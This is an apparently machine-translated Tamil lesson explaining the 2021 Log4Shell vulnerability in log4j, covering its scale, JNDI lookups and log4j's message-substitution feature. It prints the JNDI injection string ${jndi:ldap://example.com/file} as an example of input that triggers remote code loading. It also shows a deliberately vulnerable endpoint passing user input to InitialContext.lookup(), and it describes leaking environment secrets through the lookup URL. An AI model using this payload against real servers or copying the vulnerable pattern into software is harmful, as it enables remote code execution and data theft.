7.1 ஊழல்

நிச்சயமாக, சமீபத்தில் நடந்த கதையைப் பற்றி சொல்லாமல் இருக்க முடியாது - 2021 இன் இறுதியில்.

Log4Shell

அமெரிக்க சைபர் செக்யூரிட்டி மற்றும் இன்ஃப்ராஸ்ட்ரக்சர் ப்ரொடெக்ஷன் ஏஜென்சி (CISA) இந்த பிரச்சனை Log4Shellவரலாற்றில் மிக மோசமான பாதிப்புகளில் ஒன்றாகும் என்று கூறியது. ஆம், நாங்கள் எங்களுக்கு பிடித்த நூலகத்தைப் பற்றி பேசுகிறோம் log4j.

எங்கள் வசதியான சிறிய நூலகம் log4j மற்றும் வரலாற்றில் மிகப்பெரிய பாதிப்பு ? ஆர்வமா? அப்புறம் கேளுங்க.

7.2 பேரழிவின் அளவு

ஒரு முக்கியமான பாதிப்பு (குறியீடு CVE-2021-44228) கண்டுபிடிப்பு Log4Shellடிசம்பர் 9, 2021 அன்று Lunasec பாதுகாப்பு நிபுணர்களால் அறிவிக்கப்பட்டது. Apache Security Team Java சமூகத்தைச் சேர்ந்த வல்லுநர்கள் இந்தத் தகவலைச் சரிபார்த்து, பாதிக்கப்படக்கூடிய ஜாவா நூலகங்களின் பட்டியலை வெளியிட்டுள்ளனர். பட்டியல் பெரியதாக இருந்தது.

ஜாவா திட்டம் ஒரு நூலகத்தைப் பயன்படுத்தினால் log4j, அது மிகவும் எளிதாக ஹேக் செய்யப்படலாம். Javaபாதுகாப்பு நிபுணர்களின் கூற்றுப்படி, கிட்டத்தட்ட அனைத்து சர்வர் மென்பொருளும் மிகவும் பிரபலமான ஜாவா லாகரில் எழுதப்பட்டிருப்பதால் log4j, 93% கார்ப்பரேட் கிளவுட் சூழல்களில் பாதிப்பு பாதித்தது. Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam மற்றும் பலவற்றை உள்ளடக்கியது

மேலும், பாதிப்பு சர்வர் மென்பொருளை மட்டுமல்ல, பல ஜாவா பயன்பாடுகளையும், வன்பொருள் உற்பத்தியாளர்களையும் பாதித்தது. எடுத்துக்காட்டாக, இன்டெல் 32 ஹேக் செய்யக்கூடிய நிரல்களின் பட்டியலை வெளியிட்டது: SDKகள், சர்வர் பராமரிப்பு அமைப்புகள், லினக்ஸ் கருவிகள்.

என்விடியா DGX சேவையகங்கள் மற்றும் NetQ கருவிகளைக் குறிப்பிடும் பாதுகாப்புச் சிக்கல் அறிக்கையையும் வெளியிட்டது. ஆப்பிள் மற்றும் மைக்ரோசாப்ட் மூலம் பல புதுப்பிப்புகள் அவசரமாக வெளியிடப்பட்டன.

தோராயமாகச் சொன்னால், ஒரு மாணவரின் உலாவியின் முகவரிப் பட்டியில் ஒரு வரி இந்த வரியை லாகர் சாப்பிட்டால் (பல சேவையகங்களில், அனைத்தும் பதிவுசெய்யப்பட்டிருக்கும் HTTP-requests) சேவையகத்தை வைக்கும்.

குறியீட்டை பகுப்பாய்வு செய்த பிறகு, பாதிப்பு 2013 முதல் நூலகத்தில் உள்ளது என்று மாறியது, ஆனால் அவர்கள் இப்போதுதான் கவனித்தனர். அவர்கள் ஆழமாக தோண்டத் தொடங்கியபோது, ​​​​அவர்கள் ஒரு பள்ளத்தைக் கண்டுபிடித்தனர், அதன் அடிப்பகுதி தெரியவில்லை.

7.3 வரலாற்றில் மிகவும் கடுமையான பாதிப்பு

2021 டிசம்பரில், அமெரிக்க சைபர் செக்யூரிட்டி மற்றும் இன்ஃப்ராஸ்ட்ரக்சர் ப்ரொடெக்ஷன் ஏஜென்சி (CISA) இது வரலாற்றில் மிகவும் மோசமான பாதிப்புகளில் ஒன்றாகும் என்று கூறியது .Log4Shell

வேறு பல நிபுணர்களும் இதே கருத்தை வெளிப்படுத்துகின்றனர் . இந்த பாதிப்பைப் பற்றி அனைவருக்கும் தெரியும், மேலும் எல்லா வயதினரும் ஹேக்கர்கள் ஏற்கனவே தனிப்பட்ட தரவு மற்றும் பல்வேறு நிறுவனங்களின் மீதான பிற தாக்குதல்களைத் திருட இதைப் பயன்படுத்துகின்றனர். எதிர்காலத்தில், மிகப்பெரிய ஹேக்குகள் மற்றும் தரவு கசிவுகளின் அலைக்காக நாங்கள் காத்திருக்கிறோம்.

Log4j பற்றிய மீம்ஸ்களுடன் ஒரு தனி தளம் உள்ளது மற்றும் ஒவ்வொரு நாளும் புதிய படங்கள் உள்ளன என்பதன் மூலம் கூட பேரழிவின் அளவை அளவிட முடியும் .

இந்த பிரச்சனை நீண்ட காலமாக எங்களுக்கு உள்ளது. மில்லியன் கணக்கில் பாதுகாப்பு ஓட்டை இல்லை என்றால் நூற்றுக்கணக்கான மில்லியன் கணினி அமைப்புகள். அனைத்து பழைய மென்பொருட்களும் புதுப்பிக்கப்பட வேண்டும் மற்றும் குறைந்தபட்சம் இந்த நூலகத்தை அங்கு மாற்ற வேண்டும். ஆனால் பெரும்பாலான சந்தர்ப்பங்களில், எந்த நூலகங்கள் மற்றும் அவற்றின் மென்பொருளில் எந்த பதிப்புகள் பயன்படுத்தப்படுகின்றன என்பது கூட யாருக்கும் தெரியாது.

பொதுவாக, கணினி பாதுகாப்பு நிபுணர்களின் சம்பளத்தில் கூர்மையான அதிகரிப்பு எதிர்பார்க்கிறோம்.

7.4 பாதிப்பின் தன்மை

பாதிப்பின் சாரத்தை புரிந்து கொள்ள, பெரிய சர்வர் அமைப்புகள் எவ்வாறு ஏற்பாடு செய்யப்பட்டுள்ளன என்பதை நீங்கள் புரிந்து கொள்ள வேண்டும். பெரும்பாலும் இத்தகைய சேவையக பயன்பாடுகள் வெவ்வேறு சேவையகங்களில் அமைந்துள்ள வெவ்வேறு சேவைகளாக பிரிக்கப்படுகின்றன. மேலும் JNDI சேவை அவர்கள் தொடர்பு கொள்ள உதவுகிறது.

ஜாவா பெயரிடுதல் மற்றும் அடைவு இடைமுகம் (JNDI) என்பது Java APIபொருள்கள்/சேவைகளை பெயரால் தேடுவதாகும். இந்தப் பொருள்கள் பல்வேறு பெயரிடும் சேவைகள் அல்லது தொலைநிலை முறை அழைப்பிதழ் (RMI), பொதுவான பொருள் கோரிக்கை தரகர் கட்டிடக்கலை (CORBA), இலகுரக அடைவு அணுகல் நெறிமுறை (LDAP) அல்லது டொமைன் பெயர் சேவை (DNS) போன்ற கோப்பகங்களில் சேமிக்கப்படும்.

அதனுடன் பணிபுரிவது மிகவும் எளிதானது - இது ஒரு சரம் அளவுருவை மட்டுமே எடுக்கும் எளிமையானது Java API- சேவையின் பெயர். இதன் மூலம், நீங்கள் எந்தச் சேவையையும் தொடர்பு கொண்டு அவரிடம் ஏதாவது செய்யச் சொல்லலாம் மற்றும் / அல்லது சில தரவை அனுப்பலாம். எடுத்துக்காட்டாக, சரத்தில் குறிப்பிடப்பட்ட ${jndi:ldap://example.com/file}இதிலிருந்து தரவை சரம் ஏற்றும் .URL

அளவுரு நம்பத்தகாத மூலத்திலிருந்து வந்தால், அது ரிமோட் கிளாஸ் ஏற்றுதல் மற்றும் மூன்றாம் தரப்பு குறியீட்டை செயல்படுத்துவதற்கு வழிவகுக்கும் . வழக்கில் என்ன நடக்கிறது Log4j. தாக்குபவர் பாதிக்கப்பட்டவரின் ஜாவா பயன்பாட்டை தீங்கிழைக்கும் ஒருவருக்கு அனுப்புகிறார் rmi/ldap/corba-server, மேலும் தீங்கிழைக்கும் பொருளைப் பெறுகிறார்.

தொழில்நுட்ப ரீதியாக, இங்குள்ள சிக்கல் நூலகத்தில் இல்லை log4j, ஆனால் உடன் பணிபுரியும் போது பாதுகாப்பு அமைப்புகளில் உள்ளது JNDI-service. நாங்கள் எந்த வகையான சரத்திற்கு செல்கிறோம் என்பதை நீங்கள் எப்போதும் சரிபார்க்க வேண்டும் InitialContext.lookup().

பாதிக்கப்படக்கூடிய உதாரணம் JNDI-applications:

@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
   return new javax.naming.InitialContext().lookup(name);
}

7.5 மிகவும் ஸ்மார்ட் லைப்ரரி

மற்றும் log4jநீங்கள் எங்கே கேட்கிறீர்கள்? விஷயம் என்னவென்றால், அதன் டெவலப்பர்கள் அதனுடன் வேலை செய்வதை முடிந்தவரை வசதியாக மாற்ற விரும்பினர் மற்றும் அதில் ஸ்மார்ட் லாக்கிங்கைச் சேர்த்தனர். இது எவ்வாறு செயல்படுகிறது என்பது இங்கே:

பதிவு செய்திகள் தரவு மாற்றப்பட்ட ஒரு டெம்ப்ளேட்டை அமைக்க உங்களை அனுமதிப்பதன் மூலம் இது தொடங்கியது, எடுத்துக்காட்டாக:


log.debug(“User {user} has {count} friends”, user, count);

தரவு மாற்றீடு இல்லாத பழைய பதிப்பு இப்படி இருந்தது:


log.debug( “User “+user +” has “+ count +” friends”);

2013 இல், காட்சி டெம்ப்ளேட்டால் குறிப்பிடப்பட்ட ஸ்மார்ட் முன்னொட்டுகளின் மாற்றீடும் நூலகத்தில் சேர்க்கப்பட்டது ${prefix:name}. எடுத்துக்காட்டாக, சரம் “${java:version}”க்கு மாற்றப்படும் «Java version 1.7.0_67». ஓ எவ்வளவு வசதியானது.

அங்கீகரிக்கப்பட்ட வெளிப்பாடுகளில், ${jndi:<lookup>}jndi நெறிமுறைக்குப் பிறகு நீங்கள் தேடலைக் குறிப்பிடலாம் LDAP: தன்னிச்சையானது URL-addressவினவப்பட்டு, பொருள் தரவாக ஏற்றப்படும் Java.

இது முழு அணுகுமுறையின் நிலையான சிக்கலாகும் JDK: இது ஒரு பொருளை தானாகவே சீரழிக்கிறது, அதற்கான இணைப்பை url வடிவத்தில் அமைக்கலாம். இந்த வழக்கில், பொருளின் தரவு மட்டும் தொலைநிலை வளத்திலிருந்து ஏற்றப்படுகிறது, ஆனால் அதன் வகுப்பின் குறியீடு.

ஹேக் இது போல் தெரிகிறது:

  • தீங்கிழைக்கும் குறியீட்டைக் கொண்ட கோப்பைப் பதிவிறக்குகிறது
  • கோப்பில் வரிசைப்படுத்தப்பட்ட Java an object(மற்றும் அதன் வகுப்பு) உள்ளது
  • வகுப்பு ஏற்றப்படுகிறதுJava-machine
  • தீங்கிழைக்கும் வகுப்பின் பொருள் உருவாக்கப்பட்டது
  • பொருளின் கட்டமைப்பாளர் அழைக்கப்படுகிறது
  • கன்ஸ்ட்ரக்டர் மற்றும் நிலையான துவக்கம் இரண்டும் தீங்கிழைக்கும் வகுப்புக் குறியீட்டை இயக்க அனுமதிக்கின்றன

பதிவு செய்யப்படும் வரியில் log4jஏதேனும் இருந்தால் ${jndi:ldap://example.com/file}, இணையத்துடன் இணைக்கும்போது log4jஇதிலிருந்து டேட்டாவைப் பதிவிறக்கும்URL-address . உள்நுழைந்துள்ள சரத்தை உள்ளிடுவதன் மூலம், ஒரு பொதுவில் ஹோஸ்ட் செய்யப்பட்ட தீங்கிழைக்கும் குறியீட்டை தாக்குபவர் பதிவிறக்கம் செய்து செயல்படுத்தலாம் URL-address.

தரவு செயலாக்கம் முடக்கப்பட்டிருந்தாலும், தாக்குபவர், அதை ஒரு இல் வைப்பதன் மூலம், இரகசிய சூழல் மாறிகள் போன்ற தரவைப் பெறலாம், URL-addressஅது அதை மாற்றி தாக்குபவர்களின் சேவையகத்திற்கு அனுப்பும்.

நல்ல செய்தி என்னவென்றால், நூலகத்தில் சிக்கல் விரைவாக சரி செய்யப்பட்டது .

மோசமான செய்தி என்னவென்றால், உலகெங்கிலும் உள்ள மில்லியன் கணக்கான சேவையகங்கள் இன்னும் இந்த நூலகத்தின் பழைய பதிப்பை இயக்குகின்றன ...